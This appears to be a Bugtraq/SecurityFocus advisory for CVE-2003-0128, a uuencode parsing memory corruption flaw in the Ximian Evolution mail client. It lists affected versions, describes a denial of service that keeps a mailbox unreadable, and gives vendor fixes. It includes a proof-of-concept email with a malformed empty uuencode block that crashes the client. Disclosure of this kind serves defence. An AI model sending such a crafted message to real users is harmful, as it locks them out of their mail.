Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

BID:7117

Info

Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

Bugtraq ID: 7117
Class: Unknown
CVE: CVE-2003-0128
Remote: Yes
Local: No
Published: Mar 17 2003 12:00AM
Updated: Jul 11 2009 09:06PM
Credit: Discovered by Diego Kelyacoubian, Javier Kohen, Alberto Solino, and Juan Vera of Core Security Technologies.
Vulnerable: Ximian Evolution 1.2.2
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
+ Redhat Linux 9.0 i386
 Ximian Evolution 1.2.1
Ximian Evolution 1.2
Ximian Evolution 1.1.1
Ximian Evolution 1.0.8
+ Mandriva Linux Mandrake 9.0
Ximian Evolution 1.0.7
Ximian Evolution 1.0.6
Ximian Evolution 1.0.5
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
Ximian Evolution 1.0.4
Ximian Evolution 1.0.3
+ Redhat Linux 7.3
Not Vulnerable: Ximian Evolution 1.2.3

Discussion

Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

The Evolution mail client supports "uuencoded" content and decodes it automatically when a message is initially parsed. A memory corruption error is present in the parsing component that can result in the client crashing when specially malformed content is decoded. The presence of such a message in an Evolution user's mailbox may result in a prolonged denial of service as the crashing of the GUI may prevent deletion of the message. The user will also not be able to read messages while the message is present in their mailbox. It is not yet determined whether this vulnerability may be exploited by remote attackers to compromise client hosts. Users are advised to upgrade despite this uncertainty.

Exploit / POC

Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

The following is taken from the advisory published by Core Security Technologies (see reference section):

The following email will reproduce this vulnerability, note that
an empty line is required before and after the UUE header line.

>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit

begin 600

end

--=-mTDu5zdJIsixETTwCF5Y--

Solution / Fix

Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

Solution:
Red Hat has released a security advisory (RHSA-2003:108-01) which contains fixes for this issue. Users are advised to upgrade as soon as possible.

The appropriate fixes have been applied to the Evolution CVS tree.

Ximian has reported that Evolution 1.2.3 will be released however, it does not appear to be available at this time. Users are advised to monitor the Ximian Evolution release page for further information.

Conectiva Linux has released an advisory. Affected users are advised to upgrade to new versions of Evolution. Further information about obtaining and applying fixes are available in the referenced advisory.


Ximian Evolution 1.0.3

Ximian Evolution 1.0.8

Ximian Evolution 1.2.2

References

Ximian Evolution UUEncoding Parsing Memory Corruption Vulnerability

References:

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